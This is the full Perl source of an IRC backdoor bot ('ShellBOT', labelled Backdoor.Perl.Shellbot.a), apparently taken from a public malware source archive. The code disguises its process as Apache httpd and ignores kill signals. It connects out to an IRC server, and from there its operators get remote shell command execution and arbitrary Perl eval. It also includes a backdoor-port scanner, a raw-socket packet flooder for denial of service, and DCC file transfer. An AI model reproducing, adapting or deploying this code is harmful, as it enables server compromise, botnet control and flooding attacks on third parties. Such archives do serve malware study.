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vxug-MalwareSourceCode/Perl/Backdoor.Perl.Shellbot.a
vxunderground 06828a0956
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2020-10-09 21:59:39 -05:00

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#
# ShellBOT - Atrix Team
#
# 0ldW0lf - oldwolf@atrix-team.org
# - www.atrix-team.org
# - www.atrix.cjb.net
#
# modificado por poerschke
# irc.gigachat.net #spykids
#
################ CONFIGURACAO #################################################################
my $processo = "/hsphere/shared/apache/bin/httpd -DSSL"; # Nome do processo que vai aparece no ps #
#----------------------------------------------################################################
my $linas_max="10"; # Evita o flood :) depois de X linhas #
#----------------------------------------------################################################
my $sleep="4"; # ele dorme X segundos #
##################### IRC #####################################################################
@adms=("poerschke","_CaKe_"); # Nick do administrador #
#----------------------------------------------################################################
my @canais=("#perl"); # Caso haja senha ("#canal :senha") #
#----------------------------------------------################################################
my $nick="spykids"; # Nick do bot. Caso esteja em uso vai aparecer #
# aparecer com numero radonamico no final #
#----------------------------------------------################################################
my $ircname = "rox"; # User ID #
#----------------------------------------------################################################
chop (my $realname = `uname -a`); # Full Name #
#----------------------------------------------################################################
$servidor="irc.gigachat.net" unless $servidor; # Servidor de irc que vai ser usado #
# caso n<>o seja especificado no argumento #
#----------------------------------------------################################################
my $porta="6667"; # Porta do servidor de irc #
################ ACESSO A SHELL ###############################################################
my $secv = 1; # 1/0 pra habilita/desabilita acesso a shell #
###############################################################################################
my $VERSAO = "0.2";
$SIG{"INT"} = "IGNORE";
$SIG{"HUP"} = "IGNORE";
$SIG{"TERM"} = "IGNORE";
$SIG{"CHLD"} = "IGNORE";
$SIG{"PS"} = "IGNORE";
use IO::Socket;
use Socket;
use IO::Select;
chdir("/");
$servidor="$ARGV[0]" if $ARGV[0];
$0="$processo"."\0"x16;;
my $pid=fork;
exit if $pid;
die "Problema com o fork: $!" unless defined($pid);
our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();
#############################
# B0tchZ na veia ehehe :P #
#############################
$sel_cliente = IO::Select->new();
sub sendraw {
if ($#_ == "1") {
my $socket = $_[0];
print $socket "$_[1]\n";
} else {
print $IRC_cur_socket "$_[0]\n";
}
}
sub conectar {
my $meunick = $_[0];
my $servidor_con = $_[1];
my $porta_con = $_[2];
my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
if (defined($IRC_socket)) {
$IRC_cur_socket = $IRC_socket;
$IRC_socket->autoflush(1);
$sel_cliente->add($IRC_socket);
$irc_servers{$IRC_cur_socket}{"host"} = "$servidor_con";
$irc_servers{$IRC_cur_socket}{"porta"} = "$porta_con";
$irc_servers{$IRC_cur_socket}{"nick"} = $meunick;
$irc_servers{$IRC_cur_socket}{"meuip"} = $IRC_socket->sockhost;
nick("$meunick");
sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
sleep 1;
}
}
my $line_temp;
while( 1 ) {
while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
delete($irc_servers{""}) if (defined($irc_servers{""}));
&DCC::connections;
my @ready = $sel_cliente->can_read(0);
next unless(@ready);
foreach $fh (@ready) {
$IRC_cur_socket = $fh;
$meunick = $irc_servers{$IRC_cur_socket}{"nick"};
$nread = sysread($fh, $msg, 4096);
if ($nread == 0) {
$sel_cliente->remove($fh);
$fh->close;
delete($irc_servers{$fh});
}
@lines = split (/\n/, $msg);
for(my $c=0; $c<= $#lines; $c++) {
$line = $lines[$c];
$line=$line_temp.$line if ($line_temp);
$line_temp="";
$line =~ s/\r$//;
unless ($c == $#lines) {
parse("$line");
} else {
if ($#lines == 0) {
parse("$line");
} elsif ($lines[$c] =~ /\r$/) {
parse("$line");
} elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
parse("$line");
} else {
$line_temp = $line;
}
}
}
}
}
sub parse {
my $servarg = shift;
if ($servarg =~ /^PING \:(.*)/) {
sendraw("PONG :$1");
} elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
my $pn=$1; my $onde = $4; my $args = $5;
if ($args =~ /^\001VERSION\001$/) {
notice("$pn", "\001VERSION ShellBOT-$VERSAO por 0ldW0lf\001");
}
if (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
if ($onde eq "$meunick"){
shell("$pn", "$args");
}
if ($args =~ /^(\Q$meunick\E|\!atrix)\s+(.*)/ ) {
my $natrix = $1;
my $arg = $2;
if ($arg =~ /^\!(.*)/) {
ircase("$pn","$onde","$1") unless ($natrix eq "!atrix" and $arg =~ /^\!nick/);
} elsif ($arg =~ /^\@(.*)/) {
$ondep = $onde;
$ondep = $pn if $onde eq $meunick;
bfunc("$ondep","$1");
} else {
shell("$onde", "$arg");
}
}
}
} elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
if (lc($1) eq lc($meunick)) {
$meunick=$4;
$irc_servers{$IRC_cur_socket}{"nick"} = $meunick;
}
} elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
nick("$meunick".int rand(9999));
} elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
$meunick = $2;
$irc_servers{$IRC_cur_socket}{"nick"} = $meunick;
$irc_servers{$IRC_cur_socket}{"nome"} = "$1";
foreach my $canal (@canais) {
sendraw("JOIN $canal");
}
}
}
sub bfunc {
my $printl = $_[0];
my $funcarg = $_[1];
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
if ($funcarg =~ /^portscan (.*)/) {
my $hostip="$1";
my @portas=( 44464, 4444, 14589, 666, 6666, 6968, 26092, 530, 46256, 31337,
2222, 3879, 30464, 40193, 36864, 33270, 36864, 40193, 30464,
8008, 1234, 6969, 7788, 1524, 10000, 12321, 43690, 3333,
9999, 8975, 16705, 2313, 21317, 36864, 13330, 58821, 6682, 5678,
45295, 65535, 26112, 7512, 24876, 9191, 5321, 50766, 1492, 12345,
12346, 6969, 6970, 12666, 1666, 80, 21, 23, 25, 110, 5252, 9988,
41254, 5074, 139, 44123);
my (@aberta, %porta_banner);
foreach my $porta (@portas) {
my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => "tcp", Timeout => 4);
if ($scansock) {
push (@aberta, $porta);
$scansock->close;
}
}
if (@aberta) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :portas abertas: @aberta");
} else {
sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada");
}
}
if ($funcarg =~ /^pacota\s+(.*)\s+(\d+)\s+(\d+)/) {
my ($dtime, %pacotes) = attacker("$1", "$2", "$3");
$dtime = 1 if $dtime == 0;
my %bytes;
$bytes{igmp} = $2 * $pacotes{igmp};
$bytes{icmp} = $2 * $pacotes{icmp};
$bytes{o} = $2 * $pacotes{o};
$bytes{udp} = $2 * $pacotes{udp};
$bytes{tcp} = $2 * $pacotes{tcp};
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002 - Status GERAL -\002");
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo\002: $dtime"."s");
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total pacotes\002: ".($pacotes{udp} + $pacotes{igmp} + $pacotes{icmp} + $pacotes{o}));
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total bytes\002: ".($bytes{icmp} + $bytes {igmp} + $bytes{udp} + $bytes{o}));
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002M<32>dia de envio\002: ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)/$dtime)." kbps");
}
exit;
}
}
}
sub ircase {
my ($kem, $printl, $case) = @_;
if ($case =~ /^entrar (.*)/) {
j("$1");
}
if ($case =~ /^part (.*)/) {
p("$1");
}
if ($case =~ /^rejoin\s+(.*)/) {
my $chan = $1;
if ($chan =~ /^(\d+) (.*)/) {
for (my $ca = 1; $ca <= $1; $ca++ ) {
p("$2");
j("$2");
}
} else {
p("$chan");
j("$chan");
}
}
if ($case =~ /^msg\s+(\S+) (.*)/) {
msg("$1", "$2");
}
if ($case =~ /^nick (.*)/) {
nick("$1");
}
if ($case =~ /^conecta\s+(\S+)\s+(\S+)/) {
conectar("$2", "$1", 6667);
}
if ($case =~ /^send\s+(\S+)\s+(\S+)/) {
DCC::SEND("$1", "$2");
}
if ($case =~ /^raw (.*)/) {
sendraw("$1");
}
if ($case =~ /^eval (.*)/) {
eval "$1";
}
}
sub shell {
return unless $secv;
my $printl=$_[0];
my $comando=$_[1];
if ($comando =~ /cd (.*)/) {
chdir("$1") || msg("$printl", "Diert<72>rio inexistente!");
return;
}
elsif ($pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my @resp=`$comando 2>&1 3>&1`;
my $c=0;
foreach my $linha (@resp) {
$c++;
chop $linha;
sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
if ($c == "$linas_max") {
$c=0;
sleep $sleep;
}
}
exit;
}
}
}
#eu fiz um pacotadorzinhu e talz.. dai colokemo ele aki
sub attacker {
my $iaddr = inet_aton($_[0]);
my $msg = "B" x $_[1];
my $ftime = $_[2];
my $cp = 0;
my (%pacotes);
$pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
return(undef) if $cp == 4;
my $itime = time;
my ($cur_time);
while ( 1 ) {
for (my $porta = 1; $porta <= 65535; $porta++) {
$cur_time = time - $itime;
last if $cur_time >= $ftime;
send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;
# DoS ?? :P
for (my $pc = 3; $pc <= 255;$pc++) {
next if $pc == 6;
$cur_time = time - $itime;
last if $cur_time >= $ftime;
socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;;
}
}
last if $cur_time >= $ftime;
}
return($cur_time, %pacotes);
}
#############
# ALIASES #
#############
sub action {
return unless $#_ == 1;
sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001");
}
sub ctcp {
return unless $#_ == 1;
sendraw("PRIVMSG $_[0] :\001$_[1]\001");
}
sub msg {
return unless $#_ == 1;
sendraw("PRIVMSG $_[0] :$_[1]");
}
sub notice {
return unless $#_ == 1;
sendraw("NOTICE $_[0] :$_[1]");
}
sub op {
return unless $#_ == 1;
sendraw("MODE $_[0] +o $_[1]");
}
sub deop {
return unless $#_ == 1;
sendraw("MODE $_[0] -o $_[1]");
}
sub hop {
return unless $#_ == 1;
sendraw("MODE $_[0] +h $_[1]");
}
sub dehop {
return unless $#_ == 1;
sendraw("MODE $_[0] +h $_[1]");
}
sub voice {
return unless $#_ == 1;
sendraw("MODE $_[0] +v $_[1]");
}
sub devoice {
return unless $#_ == 1;
sendraw("MODE $_[0] -v $_[1]");
}
sub ban {
return unless $#_ == 1;
sendraw("MODE $_[0] +b $_[1]");
}
sub unban {
return unless $#_ == 1;
sendraw("MODE $_[0] -b $_[1]");
}
sub kick {
return unless $#_ == 1;
sendraw("KICK $_[0] $_[1] :$_[2]");
}
sub modo {
return unless $#_ == 0;
sendraw("MODE $_[0] $_[1]");
}
sub mode { modo(@_); }
sub j { &entrar(@_); }
sub entrar {
return unless $#_ == 0;
sendraw("JOIN $_[0]");
}
sub p { part(@_); }
sub part {sendraw("PART $_[0]");}
sub nick {
return unless $#_ == 0;
sendraw("NICK $_[0]");
}
sub invite {
return unless $#_ == 1;
sendraw("INVITE $_[1] $_[0]");
}
sub topico {
return unless $#_ == 1;
sendraw("TOPIC $_[0] $_[1]");
}
sub topic { topico(@_); }
sub whois {
return unless $#_ == 0;
sendraw("WHOIS $_[0]");
}
sub who {
return unless $#_ == 0;
sendraw("WHO $_[0]");
}
sub names {
return unless $#_ == 0;
sendraw("NAMES $_[0]");
}
sub away {
sendraw("AWAY $_[0]");
}
sub back { away(); }
sub quit {
sendraw("QUIT :$_[0]");
}
# DCC
package DCC;
sub connections {
my @ready = $dcc_sel->can_read(1);
# return unless (@ready);
foreach my $fh (@ready) {
my $dcctipo = $DCC{$fh}{tipo};
my $arquivo = $DCC{$fh}{arquivo};
my $bytes = $DCC{$fh}{bytes};
my $cur_byte = $DCC{$fh}{curbyte};
my $nick = $DCC{$fh}{nick};
my $msg;
my $nread = sysread($fh, $msg, 10240);
if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) {
$DCC{$fh}{status} = "Cancelado";
$DCC{$fh}{ftime} = time;
$dcc_sel->remove($fh);
$fh->close;
next;
}
if ($dcctipo eq "get") {
$DCC{$fh}{curbyte} += length($msg);
my $cur_byte = $DCC{$fh}{curbyte};
open(FILE, ">> $arquivo");
print FILE "$msg" if ($cur_byte <= $bytes);
close(FILE);
my $packbyte = pack("N", $cur_byte);
print $fh "$packbyte";
if ($bytes == $cur_byte) {
$dcc_sel->remove($fh);
$fh->close;
$DCC{$fh}{status} = "Recebido";
$DCC{$fh}{ftime} = time;
next;
}
} elsif ($dcctipo eq "send") {
my $send = $fh->accept;
$send->autoflush(1);
$dcc_sel->add($send);
$dcc_sel->remove($fh);
$DCC{$send}{tipo} = "sendcon";
$DCC{$send}{itime} = time;
$DCC{$send}{nick} = $nick;
$DCC{$send}{bytes} = $bytes;
$DCC{$send}{curbyte} = 0;
$DCC{$send}{arquivo} = $arquivo;
$DCC{$send}{ip} = $send->peerhost;
$DCC{$send}{porta} = $send->peerport;
$DCC{$send}{status} = "Enviando";
#de cara manda os primeiro 1024 bytes do arkivo.. o resto fik com o sendcon
open(FILE, "< $arquivo");
my $fbytes;
read(FILE, $fbytes, 1024);
print $send "$fbytes";
close FILE;
# delete($DCC{$fh});
} elsif ($dcctipo eq "sendcon") {
my $bytes_sended = unpack("N", $msg);
$DCC{$fh}{curbyte} = $bytes_sended;
if ($bytes_sended == $bytes) {
$fh->close;
$dcc_sel->remove($fh);
$DCC{$fh}{status} = "Enviado";
$DCC{$fh}{ftime} = time;
next;
}
open(SENDFILE, "< $arquivo");
seek(SENDFILE, $bytes_sended, 0);
my $send_bytes;
read(SENDFILE, $send_bytes, 1024);
print $fh "$send_bytes";
close(SENDFILE);
}
}
}
sub SEND {
my ($nick, $arquivo) = @_;
unless (-r "$arquivo") {
return(0);
}
my $dccark = $arquivo;
$dccark =~ s/[.*\/](\S+)/$1/;
my $meuip = $::irc_servers{"$::IRC_cur_socket"}{"meuip"};
my $longip = unpack("N",inet_aton($meuip));
my @filestat = stat($arquivo);
my $size_total=$filestat[7];
if ($size_total == 0) {
return(0);
}
my ($porta, $sendsock);
do {
$porta = int rand(64511);
$porta += 1024;
$sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto => "tcp") and $dcc_sel->add($sendsock);
} until $sendsock;
$DCC{$sendsock}{tipo} = "send";
$DCC{$sendsock}{nick} = $nick;
$DCC{$sendsock}{bytes} = $size_total;
$DCC{$sendsock}{arquivo} = $arquivo;
&::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");
}
sub GET {
my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_;
return(0) if (-e "$arquivo");
if (open(FILE, "> $arquivo")) {
close FILE;
} else {
return(0);
}
my $dccip=fixaddr($dcclongip);
return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1);
my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip, PeerPort=>$dccporta, Timeout=>15) or return (0);
$dccsock->autoflush(1);
$dcc_sel->add($dccsock);
$DCC{$dccsock}{tipo} = "get";
$DCC{$dccsock}{itime} = time;
$DCC{$dccsock}{nick} = $nick;
$DCC{$dccsock}{bytes} = $bytes;
$DCC{$dccsock}{curbyte} = 0;
$DCC{$dccsock}{arquivo} = $arquivo;
$DCC{$dccsock}{ip} = $dccip;
$DCC{$dccsock}{porta} = $dccporta;
$DCC{$dccsock}{status} = "Recebendo";
}
# po fico xato de organiza o status.. dai fiz ele retorna o status de acordo com o socket.. dai o ADM.pl lista os sockets e faz as perguntas
sub Status {
my $socket = shift;
my $sock_tipo = $DCC{$socket}{tipo};
unless (lc($sock_tipo) eq "chat") {
my $nick = $DCC{$socket}{nick};
my $arquivo = $DCC{$socket}{arquivo};
my $itime = $DCC{$socket}{itime};
my $ftime = time;
my $status = $DCC{$socket}{status};
$ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime});
my $d_time = $ftime-$itime;
my $cur_byte = $DCC{$socket}{curbyte};
my $bytes_total = $DCC{$socket}{bytes};
my $rate = 0;
$rate = ($cur_byte/1024)/$d_time if $cur_byte > 0;
my $porcen = ($cur_byte*100)/$bytes_total;
my ($r_duv, $p_duv);
if ($rate =~ /^(\d+)\.(\d)(\d)(\d)/) {
$r_duv = $3; $r_duv++ if $4 >= 5;
$rate = "$1\.$2"."$r_duv";
}
if ($porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {
$p_duv = $3; $p_duv++ if $4 >= 5;
$porcen = "$1\.$2"."$p_duv";
}
return("$sock_tipo","$status","$nick","$arquivo","$bytes_total", "$cur_byte","$d_time", "$rate", "$porcen");
}
return(0);
}
# esse "sub fixaddr" daki foi pego do NET::IRC::DCC identico soh copiei e coloei (colokar nome do autor)
sub fixaddr {
my ($address) = @_;
chomp $address; # just in case, sigh.
if ($address =~ /^\d+$/) {
return inet_ntoa(pack "N", $address);
} elsif ($address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
return $address;
} elsif ($address =~ tr/a-zA-Z//) { # Whee! Obfuscation!
return inet_ntoa(((gethostbyname($address))[4])[0]);
} else {
return;
}
}
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